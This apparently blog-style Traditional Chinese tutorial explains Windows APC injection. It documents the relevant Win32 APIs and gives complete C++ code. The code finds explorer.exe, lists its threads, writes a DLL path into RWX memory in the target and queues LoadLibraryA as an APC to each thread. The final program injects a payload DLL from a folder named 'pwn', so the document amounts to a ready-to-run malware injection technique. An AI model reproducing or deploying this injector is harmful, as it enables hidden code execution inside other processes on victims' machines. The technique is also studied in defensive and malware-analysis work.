APC 注入
APC介紹
-
APC(Asynchronous Procedure Calls,異步過程調用),APC是函數在特定的線程被異步執行。在Windows中APC是一種併發機制,用於異步的IO或定時器。當處於用戶模式的
APC
壓入線程APC
隊列後,該線程並不直接調用APC
函數,除非該線程處於可通知狀態,調用的順序爲先入先出。 -
只有當一個線程內部調用
SleepEx
、SignalObjectAdndWait
、WaitForSingleObjectEx
、WaitForMultioleObjectsEx
等特定函數將自己處於掛起狀態時,纔會執行APC隊列函數,在整個執行過程中,線程並無任何異常舉動,不容易被察覺,但缺點是對於單線程程序一般不存在掛起狀態。 -
每一個線程都有自己的APC隊列(APC queue),可以使用API
QueueUserAPC
從而將一個APC插入到線程的APC隊列中。線程會調用QueueUserAPC
中指定的函數。只有將一個APC放入了線程的APC隊列中,線程纔有機會調用對應的APC函數。 -
APC(Asynchronous Procedure Calls,異步過程調用),表示在指定線程上下文中異步調用一個函數(APC其實是通過向線程中插入回調函數來實現的,當線程調用上述API時,會觸發APC的回調函數,執行回調函數的代碼)。
-
由內核產生的APC稱爲內核態(kernel-mode)APC,而由用戶應用調用的APC稱爲用戶態(user-mode)APC。
APC機制
注入思路
- 當指定程序執行到某一個上面的等待函數的時候,系統會產生一箇中斷
- 當線程喚醒的時候, 這個線程會優先去APC隊列中調用回調函數
- 利用QueueUserApc,往這個隊列中插入一個回調
- 插入回調的時候,把插入的回調地址改爲LoadLibrary,插入的參數我們使用VirtualAllocEx申請內存,並且寫入進去要加載的Dll的地址
首先通過OpenProcess()
打開目標進程,獲取進程句柄;然後通過函數CreateToolhelp32Snapshot()
、Thread32First()
以及Thread32Next()
遍歷進程快照,獲取目標進程的所有線程ID;緊接着調用VirtualAllocEx()
在目標進程申請內存,通過WriteProcessMemory()
向內存寫入DLL的注入路徑;最後,遍歷線程ID,獲取線程句柄。調用QueueUserAPC()
向線程中插入APC函數,設置APC函數地址爲LoadLibraryA()
的地址。這樣只要目標進程中任意線程被喚醒,便會執行APC,完成DLL注入。
下面來看看用戶態下的注入方式的代碼實現,即Ring3層
編碼實現
CreateToolhelp32Snapshot
獲取指定進程的快照,以及這些進程使用的堆、模塊和線程。
原型:
HANDLE CreateToolhelp32Snapshot(
DWORD dwFlags,
DWORD th32ProcessID
);
參數
dwFlags:
要包含在快照中的系統部分。此參數可以是以下值中的一個或多個。
th32ProcessID:
要包含在快照中的進程的進程標識符。此參數可以爲零以指示當前進程。當指定TH32CS_SNAPHEAPLIST、TH32CS_SNAPMODULE、TH32CS_SNAPMODULE32或TH32CS_SNAPALL值時使用此參數。否則,它將被忽略並且所有進程都包含在快照中。
返回值
如果該函數成功,則返回指定快照的打開句柄。
Process32First
檢索有關係統快照中遇到的第一個進程的信息。
原型:
BOOL Process32First(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe
);
參數
hSnapshot:
從上一次調用CreateToolhelp32Snapshot函數返回的快照句柄 。
lppe:
指向PROCESSENTRY32結構的指針 。它包含進程信息,例如可執行文件的名稱、進程標識符和父進程的進程標識符。
返回值
如果進程列表的第一個條目已複製到緩衝區,則返回TRUE,否則返回FALSE。所述ERROR_NO_MORE_FILES誤差值由返回 GetLastError函數功能如果不存在進程或快照不包含處理信息。
Process32Next
檢索有關記錄在系統快照中的下一個進程的信息。
原型:
BOOL Process32Next(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe
);
參數
hSnapshot:
從上一次調用CreateToolhelp32Snapshot函數返回的快照句柄 。
lppe:
指向PROCESSENTRY32結構的指針 。
返回值
如果進程列表的下一個條目已複製到緩衝區,則返回TRUE,否則返回FALSE。所述ERROR_NO_MORE_FILES誤差值由返回 GetLastError函數功能如果不存在進程或快照不包含處理信息。
QueueUserAPC
將用戶模式異步過程調用 (APC) 對象添加到指定線程的 APC 隊列。
原型:
DWORD QueueUserAPC(
PAPCFUNC pfnAPC,
HANDLE hThread,
ULONG_PTR dwData
);
參數
pfnAPC:
指向應用程序提供的 APC 函數的指針,當指定的線程執行可警報的等待操作時將調用該函數。有關更多信息,請參閱 APCProc。
hThread:
線程的句柄。句柄必須具有THREAD_SET_CONTEXT訪問權限。
dwData:
傳遞給pfnAPC參數指向的 APC 函數的單個值。
返回值
如果函數成功,則返回值非零。
如果函數失敗,則返回值爲零。
PROCESSENTRY32 結構
描述拍攝快照時駐留在系統地址空間中的進程列表中的條目。
原型:
typedef struct tagPROCESSENTRY32 {
DWORD dwSize;
DWORD cntUsage;
DWORD th32ProcessID;
ULONG_PTR th32DefaultHeapID;
DWORD th32ModuleID;
DWORD cntThreads;
DWORD th32ParentProcessID;
LONG pcPriClassBase;
DWORD dwFlags;
CHAR szExeFile[MAX_PATH];
} PROCESSENTRY32;
dwSize
結構的大小,以字節爲單位。在調用Process32First函數之前 ,將此成員設置爲sizeof(PROCESSENTRY32)。如果不初始化dwSize, Process32First 將失敗。
cntUsage
此成員不再使用並且始終設置爲零。
th32ProcessID
進程標識符。
th32DefaultHeapID
此成員不再使用並且始終設置爲零。
th32ModuleID
此成員不再使用並且始終設置爲零。
cntThreads
進程啓動的執行線程數。
th32ParentProcessID
創建此進程的進程的標識符(其父進程)。
pcPriClassBase
此進程創建的任何線程的基本優先級。
dwFlags
此成員不再使用並且始終設置爲零。
szExeFile
進程的可執行文件的名稱。要檢索可執行文件的完整路徑,請調用Module32First函數並檢查返回的MODULEENTRY32結構的szExePath成員。但是,如果調用進程是 32 位進程,則必須調用QueryFullProcessImageName函數來檢索 64 位進程的可執行文件的完整路徑。
根據進程名獲取PID
int main() {
DWORD dwProcessId = 0;
PROCESSENTRY32 pe32 = { 0 };
HANDLE hSnapshot ;
BOOL bRet = FALSE;
::RtlZeroMemory(&pe32, sizeof(pe32));
pe32.dwSize = sizeof(pe32);
char* pszProcessName = "explorer.exe";
//獲取進程快照
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
bRet = ::Process32First(hSnapshot, &pe32);
if (NULL == hSnapshot)
{
std::cout << "CreateToolhelp32Snapshot_Error" << std::endl;
return dwProcessId;
}
while (bRet)
{
if (0 == ::lstrcmpi(pe32.szExeFile, pszProcessName))//lstrcmpi對比相等則爲0
{
//匹配到對於進程,賦值給dwProcessId
dwProcessId = pe32.th32ProcessID;
break;
}
bRet = Process32Next(hSnapshot, &pe32);
}
std::cout<<dwProcessId << std::endl;
}
根據PID獲取所有的相應線程ID
int main() {
DWORD dwProcessId = 0;
char* pszProcessName = "explorer.exe";
DWORD* pThreadId = NULL;
DWORD dwThreadIdLength = 0;
DWORD dwBufferLength = 1000;
THREADENTRY32 te32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = TRUE;
dwProcessId = GetProcessIdByProcessName(pszProcessName);
do {
// 申請內存
pThreadId = new DWORD[dwBufferLength];
if (NULL == pThreadId)
{
std::cout << "new Error" << std::endl;
bRet = FALSE;
break;
}
::RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD)));
::RtlZeroMemory(&te32, sizeof(te32));
te32.dwSize = sizeof(te32);
//創建線程快照
hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
bRet = ::Thread32First(hSnapshot, &te32);
while (bRet)
{
if (te32.th32OwnerProcessID == dwProcessId) {// 獲取進程對應的線程ID
pThreadId[dwThreadIdLength] = te32.th32ThreadID;
dwThreadIdLength++;
}
// 遍歷下一個線程快照信息
bRet = ::Thread32Next(hSnapshot, &te32);
}
} while (FALSE);
std::cout << pThreadId << std::endl;
}
//結果18180
APC注入
int main() {
DWORD dwProcessId = 0;
DWORD* pThreadId = NULL;
DWORD dwThreadIdLength = 0;
DWORD dwBufferLength = 1000;
THREADENTRY32 te32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = TRUE;
LPVOID pBaseAddress;
HANDLE hThread = NULL;
HANDLE hProcess;
FARPROC pLoadLibraryAFunc;
char* pszProcessName = "explorer.exe";
LPCSTR pszDllName = "dll1.dll";
SIZE_T dwRet = 0, dwDllPathLen = 1 + ::lstrlen(pszDllName);
dwProcessId = GetProcessIdByProcessName(pszProcessName);
bRet = GetAllThreadIdByProcessId(dwProcessId, &pThreadId, &dwThreadIdLength);
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
pBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
pLoadLibraryAFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
for (int i = 0; i < dwThreadIdLength; i++)
{
// 打開線程
hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);
if (hThread)
{
// 插入APC
::QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress);
// 關閉線程句柄
::CloseHandle(hThread);
hThread = NULL;
}
}
}
最終代碼
#include <Windows.h>
#include <iostream>
#include <TlHelp32.h>
// 根據進程名稱獲取PID
DWORD GetProcessIdByProcessName(char* pszProcessName);
// 根據PID獲取所有的相應線程ID
BOOL GetAllThreadIdByProcessId(DWORD dwProcessId, DWORD** ppThreadId, DWORD* dwThreadIdLength);
// APC注入
BOOL ApcInjectDll(char* pszProcessName, char* pszDllName);
void ShowError(char* pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText);
::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);
}
// 根據進程名稱獲取PID
DWORD GetProcessIdByProcessName(char* pszProcessName)
{
DWORD dwProcessId = 0;
PROCESSENTRY32 pe32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = FALSE;
::RtlZeroMemory(&pe32, sizeof(pe32));
pe32.dwSize = sizeof(pe32);
// 獲取進程快照
hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (NULL == hSnapshot)
{
ShowError("CreateToolhelp32Snapshot");
return dwProcessId;
}
// 獲取第一條進程快照信息
bRet = ::Process32First(hSnapshot, &pe32);
while (bRet)
{
// 獲取快照信息
if (0 == ::lstrcmpi(pe32.szExeFile, pszProcessName))
{
dwProcessId = pe32.th32ProcessID;
break;
}
// 遍歷下一個進程快照信息
bRet = ::Process32Next(hSnapshot, &pe32);
}
return dwProcessId;
}
// 根據PID獲取所有的相應線程ID
BOOL GetAllThreadIdByProcessId(DWORD dwProcessId, DWORD** ppThreadId, DWORD* pdwThreadIdLength)
{
DWORD* pThreadId = NULL;
DWORD dwThreadIdLength = 0;
DWORD dwBufferLength = 1000;
THREADENTRY32 te32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = TRUE;
do
{
// 申請內存
pThreadId = new DWORD[dwBufferLength];
if (NULL == pThreadId)
{
ShowError("new");
bRet = FALSE;
break;
}
::RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD)));
// 獲取線程快照
::RtlZeroMemory(&te32, sizeof(te32));
te32.dwSize = sizeof(te32);
hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (NULL == hSnapshot)
{
ShowError("CreateToolhelp32Snapshot");
bRet = FALSE;
break;
}
// 獲取第一條線程快照信息
bRet = ::Thread32First(hSnapshot, &te32);
while (bRet)
{
// 獲取進程對應的線程ID
if (te32.th32OwnerProcessID == dwProcessId)
{
pThreadId[dwThreadIdLength] = te32.th32ThreadID;
dwThreadIdLength++;
}
// 遍歷下一個線程快照信息
bRet = ::Thread32Next(hSnapshot, &te32);
}
// 返回
*ppThreadId = pThreadId;
*pdwThreadIdLength = dwThreadIdLength;
bRet = TRUE;
} while (FALSE);
if (FALSE == bRet)
{
if (pThreadId)
{
delete[]pThreadId;
pThreadId = NULL;
}
}
return bRet;
}
// APC注入
BOOL ApcInjectDll(char* pszProcessName, char* pszDllName)
{
BOOL bRet = FALSE;
DWORD dwProcessId = 0;
DWORD* pThreadId = NULL;
DWORD dwThreadIdLength = 0;
HANDLE hProcess = NULL, hThread = NULL;
PVOID pBaseAddress = NULL;
PVOID pLoadLibraryAFunc = NULL;
SIZE_T dwRet = 0, dwDllPathLen = 1 + ::lstrlen(pszDllName);
DWORD i = 0;
do
{
// 根據進程名稱獲取PID
dwProcessId = GetProcessIdByProcessName(pszProcessName);
if (0 >= dwProcessId)
{
bRet = FALSE;
break;
}
// 根據PID獲取所有的相應線程ID
bRet = GetAllThreadIdByProcessId(dwProcessId, &pThreadId, &dwThreadIdLength);
if (FALSE == bRet)
{
bRet = FALSE;
break;
}
// 打開注入進程
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
{
ShowError("OpenProcess");
bRet = FALSE;
break;
}
// 在注入進程空間申請內存
pBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (NULL == pBaseAddress)
{
ShowError("VirtualAllocEx");
bRet = FALSE;
break;
}
// 向申請的空間中寫入DLL路徑數據
::WriteProcessMemory(hProcess, pBaseAddress, pszDllName, dwDllPathLen, &dwRet);
if (dwRet != dwDllPathLen)
{
ShowError("WriteProcessMemory");
bRet = FALSE;
break;
}
// 獲取 LoadLibrary 地址
pLoadLibraryAFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (NULL == pLoadLibraryAFunc)
{
ShowError("GetProcessAddress");
bRet = FALSE;
break;
}
// 遍歷線程, 插入APC
for (i = 0; i < dwThreadIdLength; i++)
{
// 打開線程
hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);
if (hThread)
{
// 插入APC
::QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress);
// 關閉線程句柄
::CloseHandle(hThread);
hThread = NULL;
}
}
bRet = TRUE;
} while (FALSE);
// 釋放內存
if (hProcess)
{
::CloseHandle(hProcess);
hProcess = NULL;
}
if (pThreadId)
{
delete[]pThreadId;
pThreadId = NULL;
}
return bRet;
}
int main() {
BOOL bRet = FALSE;
// APC注入
#ifdef _WIN64
bRet = ApcInjectDll("explorer.exe", "C:\\Users\\xr\\Desktop\\pwn\\artifact64.dll");
#else
bRet = ApcInjectDll("explorer.exe", "C:\\Users\\xr\\Desktop\\pwn\\artifact.dll");
#endif
if (bRet)
{
printf("APC Inject OK.\n");
}
else
{
printf("APC Inject ERROR.\n");
}
system("pause");
return 0;
}